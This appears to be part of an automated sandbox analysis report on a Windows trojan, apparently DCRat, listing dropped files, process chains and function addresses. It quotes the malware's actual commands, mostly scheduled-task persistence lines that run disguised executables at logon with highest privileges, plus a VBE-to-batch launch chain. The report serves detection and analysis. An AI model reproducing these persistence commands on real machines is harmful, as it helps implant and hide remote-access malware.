Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00878E00	3_2_00878E00
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0086CF43	3_2_0086CF43
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A391B4	3_2_00A391B4
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00845352	3_2_00845352
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00865470	3_2_00865470
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0093F7C0	3_2_0093F7C0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_008474C0	3_2_008474C0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00869760	3_2_00869760
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00861A20	3_2_00861A20
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0085FC90	3_2_0085FC90
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00877D64	3_2_00877D64
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A25FA0	3_2_00A25FA0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00869F90	3_2_00869F90
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Code function: 11_2_00007FFD9B020DB4	11_2_00007FFD9B020DB4
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Code function: 11_2_00007FFD9B1D03F2	11_2_00007FFD9B1D03F2
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Code function: 11_2_00007FFD9B1E3BF4	11_2_00007FFD9B1E3BF4
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Code function: 11_2_00007FFD9B1D0440	11_2_00007FFD9B1D0440
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Code function: 11_2_00007FFD9B1D0438	11_2_00007FFD9B1D0438
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Code function: 11_2_00007FFD9B1D0D0D	11_2_00007FFD9B1D0D0D
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Code function: 11_2_00007FFD9B1E3CE8	11_2_00007FFD9B1E3CE8
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 35_2_00007FFD9B02BA8D	35_2_00007FFD9B02BA8D
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 35_2_00007FFD9B02CFC4	35_2_00007FFD9B02CFC4
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 35_2_00007FFD9B01D873	35_2_00007FFD9B01D873
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 35_2_00007FFD9B027C15	35_2_00007FFD9B027C15
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 35_2_00007FFD9B027C33	35_2_00007FFD9B027C33
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 35_2_00007FFD9B05A18C	35_2_00007FFD9B05A18C
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 35_2_00007FFD9B06A4C8	35_2_00007FFD9B06A4C8
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 35_2_00007FFD9B010DB4	35_2_00007FFD9B010DB4
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B000DB4	36_2_00007FFD9B000DB4
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B1C4BE0	36_2_00007FFD9B1C4BE0
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B1C3BF3	36_2_00007FFD9B1C3BF3
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B1B03F2	36_2_00007FFD9B1B03F2
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B1B0438	36_2_00007FFD9B1B0438
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B1C52E7	36_2_00007FFD9B1C52E7
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B1C4FF3	36_2_00007FFD9B1C4FF3
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B1C585A	36_2_00007FFD9B1C585A
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B1C4DF2	36_2_00007FFD9B1C4DF2
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B1B0D0D	36_2_00007FFD9B1B0D0D
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B8F7276	36_2_00007FFD9B8F7276
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B8FB954	36_2_00007FFD9B8FB954
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B9010AD	36_2_00007FFD9B9010AD
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 36_2_00007FFD9B8FBAB8	36_2_00007FFD9B8FBAB8
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Code function: 37_2_00007FFD9B030DB4	37_2_00007FFD9B030DB4

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\ShortcutFlags.dll 42E4BA85C71A2C275D4682E3D137CEB5B1B9993541191176E71B2C9E98AE496D

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: String function: 0084A720 appears 51 times
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: String function: 00849660 appears 224 times
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: String function: 008481D0 appears 55 times
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: String function: 0084A190 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 004AEC50 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 004AF5F0 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 004AEB78 appears 39 times

Source: gorkmTnChA.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: gorkmTnChA.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows

Source: gorkmTnChA.exe, 00000000.00000000.1648785828.0000000000408000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs gorkmTnChA.exe
Source: gorkmTnChA.exe, 00000000.00000000.1648785828.0000000000408000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileNameSandeLLoCHECKER_Installer.exeB vs gorkmTnChA.exe
Source: gorkmTnChA.exe, 00000000.00000000.1648785828.0000000000408000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNDP48-Web.exeZ vs gorkmTnChA.exe
Source: gorkmTnChA.exe, 00000000.00000000.1648785828.0000000000408000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBoxStub.exeT vs gorkmTnChA.exe
Source: gorkmTnChA.exe, 00000000.00000003.1654559691.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs gorkmTnChA.exe
Source: gorkmTnChA.exe, 00000000.00000003.1661883105.0000000003F8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameSandeLLoCHECKER_Installer.exeB vs gorkmTnChA.exe
Source: gorkmTnChA.exe, 00000000.00000003.1661883105.0000000003F8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNDP48-Web.exeZ vs gorkmTnChA.exe
Source: gorkmTnChA.exe, 00000000.00000003.1661883105.0000000003F8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBoxStub.exeT vs gorkmTnChA.exe
Source: gorkmTnChA.exe	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs gorkmTnChA.exe
Source: gorkmTnChA.exe	Binary or memory string: OriginalFileNameSandeLLoCHECKER_Installer.exeB vs gorkmTnChA.exe
Source: gorkmTnChA.exe	Binary or memory string: OriginalFilenameNDP48-Web.exeZ vs gorkmTnChA.exe
Source: gorkmTnChA.exe	Binary or memory string: OriginalFilenameBoxStub.exeT vs gorkmTnChA.exe

Source: gorkmTnChA.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, N7ZmkdYkpvQgcoR6wdi.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, N7ZmkdYkpvQgcoR6wdi.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, N7ZmkdYkpvQgcoR6wdi.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, N7ZmkdYkpvQgcoR6wdi.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@46/102@1/2

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 1_2_00496C74 GetLastError,FormatMessageW,

1_2_00496C74

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe

Code function: 3_2_00992D90 GetDiskFreeSpaceExW,

3_2_00992D90

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe

Code function: 3_2_009AAE10 CoCreateInstance,

3_2_009AAE10

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 1_2_004AA6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

1_2_004AA6C2

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe

File created: C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe

Jump to behavior

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe

File created: C:\Users\user\Desktop\yYksYVbT.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7320:120:WilError_03
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\4ea4b9242e059cec7c8f71f08c454db16c298bd3e44de5a4ee8c3ef811c40795

Source: C:\Users\user\Desktop\gorkmTnChA.exe

File created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\bridgeMonitorDhcpCommon\KQ5XnVOYWwQFrPTZ9PsIrToBZTIRzi3E3YTHck8Ca7MF45bBlpw.bat" "

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: sfxname	1_2_004ADF1E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: sfxstime	1_2_004ADF1E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: STARTDLG	1_2_004ADF1E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Command line argument: xzN	1_2_004ADF1E

Source: gorkmTnChA.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\gorkmTnChA.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\gorkmTnChA.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2898761896.000000000346F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT `FileName`, `MinVersion`, `MaxVersion`, `MinSize` , `MaxSize`, `MinDate`, `MaxDate`, `Languages` FROM `Signature` WHERE `Signature` = ?;

Source: gorkmTnChA.exe

ReversingLabs: Detection: 100%

Source: unknown	Process created: C:\Users\user\Desktop\gorkmTnChA.exe "C:\Users\user\Desktop\gorkmTnChA.exe"
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\bridgeMonitorDhcpCommon\osBsCLbPfQftwHCHlhElxAOzJXM9OXwC38dZCkih.vbe"
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Process created: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe "C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 26CF464DBA35F416758053A43B23FD3D C
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Local\Temp\{F123046A-2CBF-4743-A59B-E3D2751B5780}\51B5780\SandeLLoCHECKER_Installer.msi AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1733667848 " AI_FOUND_PREREQS=".NET Framework 4.8 (web installer)"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 7BC9C83AA604E4F7E55BC37E42BF8976 C
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\bridgeMonitorDhcpCommon\KQ5XnVOYWwQFrPTZ9PsIrToBZTIRzi3E3YTHck8Ca7MF45bBlpw.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe "C:\bridgeMonitorDhcpCommon/webDriverintoDll.exe"
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 7 /tr "'C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe'" /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 14 /tr "'C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe'" /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ApplicationFrameHostA" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\Favorites\ApplicationFrameHost.exe'" /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ApplicationFrameHost" /sc ONLOGON /tr "'C:\Users\Default User\Favorites\ApplicationFrameHost.exe'" /rl HIGHEST /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ApplicationFrameHostA" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\Favorites\ApplicationFrameHost.exe'" /rl HIGHEST /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 8 /tr "'C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe'" /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 10 /tr "'C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe'" /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWl" /sc ONLOGON /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "KAdpNCgonFhCnlBRasdZerWlK" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe'" /rl HIGHEST /f
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\uMu0Nxwczl.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe "C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe"
Source: unknown	Process created: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe "C:\Program Files (x86)\reference assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe "C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe"
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Process created: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe "C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\bridgeMonitorDhcpCommon\osBsCLbPfQftwHCHlhElxAOzJXM9OXwC38dZCkih.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\bridgeMonitorDhcpCommon\KQ5XnVOYWwQFrPTZ9PsIrToBZTIRzi3E3YTHck8Ca7MF45bBlpw.bat" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Local\Temp\{F123046A-2CBF-4743-A59B-E3D2751B5780}\51B5780\SandeLLoCHECKER_Installer.msi AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1733667848 " AI_FOUND_PREREQS=".NET Framework 4.8 (web installer)"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 26CF464DBA35F416758053A43B23FD3D C	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 7BC9C83AA604E4F7E55BC37E42BF8976 C	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe "C:\bridgeMonitorDhcpCommon/webDriverintoDll.exe"	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\uMu0Nxwczl.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe "C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe"

Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Section loaded: srvcli.dll	Jump to behavior
